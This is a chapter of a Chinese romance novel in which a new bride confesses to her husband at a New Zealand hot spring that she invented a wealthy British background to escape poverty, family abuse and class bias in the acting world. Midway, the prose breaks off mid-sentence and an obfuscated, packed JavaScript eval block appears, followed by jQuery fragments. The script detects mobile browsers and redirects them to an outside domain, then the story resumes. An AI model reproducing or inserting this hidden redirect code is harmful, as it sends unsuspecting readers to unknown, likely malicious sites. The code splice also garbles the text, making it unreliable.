他们的航班晚上十一点才降落,抵达在罗托鲁瓦租住的民宿时已是深夜,兵荒马乱地收拾洗漱好,面对卧室内唯一的一张Queensize大床,两个人都愣住了。
这是他们第一次住在同一个屋檐下,一切都发生得猝不及防,江知渺直到现在才终于清醒地意识到,他们已经是夫妻了。
或许是看出她内心的踌躇,邵聿主动提出到客厅沙发上休息,江知渺怔愣地站在卧室角落,看着他将被子和枕头抱出去,又回来帮她关门。
“知渺。”邵聿的手握在门把手上,突然叫了她一声。
她茫然地眨了眨眼,下一秒,邵聿的身影像箭一般冲到她的面前,密集的吻如同暴雨落在她的脸颊、唇瓣、锁骨……
她被铺天盖地的暴雨淹没,剧烈的雨势让她几乎要喘不过气来,“邵聿!”,她忍不住轻呼出声。
邵聿立即停了下来,温热的额头抵在她的耳畔,碎发让她有些发痒,她刚要推拒,邵聿就自己抬起头来,目光不舍地在她的脸上逡巡,“天晚了,你好好休息。”
说完,他头也不回地快步走出卧室,临走前还不忘帮她把门关好。
此时此刻,尽管有着天然芦苇编织的屏风与原生树蕨的环绕,能够阻挡外面的视线,但毕竟是露天温泉,偶尔也能听到黑天鹅的鸣叫,与路人依稀的说话声。
邵聿目不转睛地看着她,江知渺被他盯得有些心慌,温泉的热气蒸得她脸颊发烫,她猜不透邵聿到底在想什么。
“……怎么了?”她还是忍不住问了,目光躲闪,蜻蜓点水落在温泉水面的涟漪上。
“知渺,你跟我说实话。”她听见邵聿那主持人特有的醇厚嗓音响起,“你究竟,是不是在英国长大的?”
哗啦啦——一对扇尾鸽倏地掠过树蕨枝头,猛地带起叶片。
江知渺的大脑瞬间陷入空白,远处温泉眼微不可察的咕咚声变得分外清晰。
咕咚、咕咚……
她不知自己愣了多久,渐渐地,她意识到那富有节奏的震鸣,其实是自己惊弓之鸟般的心跳声。她的手脚早已在刹那间变得冰冷,身体分明泡在温泉水中,然而却如坠冰窟。
她始终没敢抬起头来再看一看邵聿的表情,他该用多么戏谑嘲讽的眼神看着自己的丑态,江知渺仅仅是想一想就感到绝望。
或许是她一动不动地呆愣了太久,邵聿看到江知渺惨白如纸的脸庞,后知后觉地意识到,真相可能比他想象的还要残忍,他霎时无法自控地愧疚起来。
“我……我不是那个意思。”他靠近了一些,握住她的肩膀,掌心的冰冷吓了他一跳。邵聿只好轻轻摇晃着怀里的人,等待着她涣散的眼眸逐渐聚焦。
“知渺,你听我说,我没有别的意思,只是刚才听你和那个孩子说话时,不太像是英音,所以才有些疑惑。”
邵聿生怕她不相信,焦急地解释着,“不管你在哪里出生、在哪里长大,你都是江知渺,是我此生唯一的妻子。”
香槟气泡砰然炸裂,饱满的低频共振中带着金属般的质感,声音在胸腔充分共鸣。经过温泉浸泡后,他的嗓音还带有几分颗粒感,情话在舌尖悄然滚动,好像古老的留声机缓缓流出的第一个音符,又好像手指轻轻摩挲毛呢西装的细腻触感,化成比温泉水还要热的暖流将她团团包裹。
江知渺在这熨帖的环绕中放松了神经,邵聿的指尖触及脸颊时,她才发现自己在流泪。有生以来,她从未像现在这样想要倾诉,想要得到安慰,急切地、迫不及待地、难以忍受地。
在这异国他乡,天为庐,水为底,远离人烟,远离繁华,摆脱所有身份,她将关于自己的一切,全盘托出。
没有波澜壮阔的开端,也没有跌宕起伏经过,更没有荡气回肠的结尾,江知渺从来不觉得自己的故事有什么独特之处。
她只是毫无选择地出生在贫困的W省一个偏远的小城镇里,父亲是镇里修车店的一名普通的修理工,母亲没有固定工作,在镇子上打些短工,帮人缝缝衣服、看看店铺。
从出生之日起,她的记忆底色就是灰暗的。一家三口人挤在一间三十平米的半地下室里,只有在晴天,且仅限上午九点至十一点,才能从那唯一一条狭窄的窗户外,投进一缕阳光。
她对这个时间记忆犹新,是因为唯独这个时间里,室内才能有些光亮。平时在学校还好,每逢节假日,她就必须要赶在这两个小时内把作业全部写完。
贫穷、逼仄、黑暗,这些对于那时的她来说,并非无法忍受。然而,从她七岁那年起,就连这种生活也成了奢望。
那年冬天是个几十年一遇的寒冬,冷空气自西伯利亚席卷而来,江知渺家中却热火朝天——她的弟弟,江知赫出生了。
她还记得弟弟出生那天的场景,父亲喝了很多酒,她从未见父亲那样高兴过,修车店的工友也拿着零零散散的礼物前来祝贺,就连生活在乡下老家的70岁的爷爷奶奶,都坐了几个小时的长途汽车赶来看望新生的孩子。
“一开始,我也和他们一样激动。突然就成为了一个姐姐,有了一个弟弟,比我的年纪小很多,个头也小很多,手拿不起任何物品,嘴巴讲不出一个有意义的字。”
江知渺的眼神也变得柔软起来,“这样弱小的一个生命,降临在我的生命里,好像无望的人生忽然被赋予了一个宏大的使命:保护他,陪伴他。”
家里多了一口人吃饭,父亲要更加努力地工作赚钱,每天结束修车店的工作,还要去电厂做夜班保安,江知渺常常一周都见不到他。母亲在生产时大出血,落下了病根,时常喊着关节痛头痛,做不了一点家务。
于是,洗衣、做饭、打扫卫生、照顾弟弟、甚至赚钱补贴家用的全部重担,都压在了她一个孩子的身上。
但这是她的家,是她的家人,尽管她每天累得精疲力尽,却也甘之如饴。看着弟弟的身量一天天变长,衣服两个月就要换更大的尺码,她也还是乐此不疲地去拿拨浪鼓去逗他。
然而很快,江知渺就再也感受不到其他人的快乐了。她以为自己做的这一切总有人在意,事实却血淋淋地摆在了她的眼前。
“父亲不知从何时起就染上了打牌,经常喝得醉醺醺回家,向母亲要钱,动辄就对我们母女俩又打又骂。母亲更是对我换了一副面孔……”江知渺开始哽咽,无论时隔多远,回忆仍然是一种折磨。
她添饭时,父母会抱怨她浪费粮食,交学费时,要质问她是不是骗钱乱花。几乎是一夜之间,江知渺就清醒地意识到,自己在这个家里,做什么都是错的。
在很长一段时间里,具体多久,江知渺已经记不清了,或许是十年,又或许是十五年,她将自己的一切不幸都归咎于江知赫。假如这个弟弟没有出生,她就还是这个家里唯一的孩子,是一颗黯淡的假冒伪劣的掌上明珠。
可如今,家里所有人的宠爱和耐心都给了江知赫。凭什么他不用在放学回家后给全家人做晚饭?凭什么他可以安心写作业,而不必先将全
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792390|172006||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家各个角落打扫得一尘不染?凭什么给她买新衣服新鞋时,要永远买大一号的男装,就为了江知赫飞速长高后也能穿得下?
“从七岁起,我的梦想就只有一个:逃离这个家。”
家里交不起高中学费,她就从初一开始,打整整三年的暑假工攒钱;买不起文艺汇演的裙子,她就用去服装店义务劳动,换取一天租借;负担不起去A市艺考的住宿费伙食费,她就去做酒店前台,整整五个月考试期,她在夜班前台熬过了百余个漫长夜晚。
就在她拿到中央艺术大学的录取通知书,以为自己的崭新生活终于要开始时,现实再一次向她泼了一桶冷水。
趁着开学前的暑假,她去南山影视城跑龙套,攒大学生活费。那天恰好遇上一个选角导演在群演里找演员,去扮演一个三线网剧的女N号,总共有三句台词,半分钟的镜头。
这在她的心目中是个难能可贵的好机会,作为表演专业的准大学生,未来也终究要从事演艺事业,这个暑假就是她的起跑线。
与她一起去试镜的还有二十几个年轻女孩,她们挤在一个临时搭建的布棚子里,四面密不透风,闷热无比。选角导演给她们每个人发了一张表格,让她们如实填写。表格里,从身高体重到户籍家境,问得事无巨细。
“当时我还觉得奇怪,只是去演一个小角色,为什么还要填写父母甚至是祖父母的身份、职业、收入。不过这个问题,在我得到试镜结果后,就得到了答案。”
她自认试镜发挥不错,也在候场时,看到了排在自己前面那个女孩的表现。那个女孩的外貌不算出众,化了很浓的烟熏妆,一身服饰都是名牌,打眼一看便知道价格不菲。至少江知渺能够确定,比起她,自己对角色的理解和台词功底,要明显好上许多。
“然而最后,他们恰恰就是选择了这个女孩。”
江知渺起初只是不理解,她想要找选角导演求教一下,自己的表现究竟差在什么地方,即使失去了这次的机会,也能为下一次试镜积累经验。
但她刚刚到达休息室门外,便偶然听到了选角导演和制片人的谈话。制片人说,那个角色只是一个非常小的配角,演技如何根本不重要。对于年轻演员来说,这种角色只是一个跳板,是他们正式进入娱乐圈的象征。
一个家庭背景好的新人,将来才更容易在娱乐圈立稳脚跟。而且,所谓多个朋友多条路,有了这次的交集,他们也就更容易接触到她家里的资源。
江知渺这才明白过来,自己身处的,到底是一个怎样腥风血雨的环境。弱肉强食,不进则退,她出生于这样的家庭,从一开始就矮人一头,甚至或许永无出头之日。
“从七岁起,我就为了新生活而努力,即便是死,我也不愿意就这样不明不白地放弃,止步于尚未开始之日。”她咬紧牙关,一字一句地说道。
几乎没有任何纠结,江知渺立刻给自己编造好了一套新身份:出生在英国,十六岁回国;祖父二十岁时前往英国公费留学,深耕于投资领域,是金融行业的专家,祖母是英国一个科技研究所的负责人;父亲在英国某综合医院做外科医生,母亲是该医院管理层中唯一的女性高管。
而她,是这个家里,真正的掌上明珠。
“所以邵聿,我就是个彻头彻尾的骗子,连你也被我骗了。”她讲完时,天色已经完全暗了下来,江知渺看不清邵聿的表情,只能捕捉到他眼中闪烁的泪光。
她如释重负,“现在,你可以离开我了。”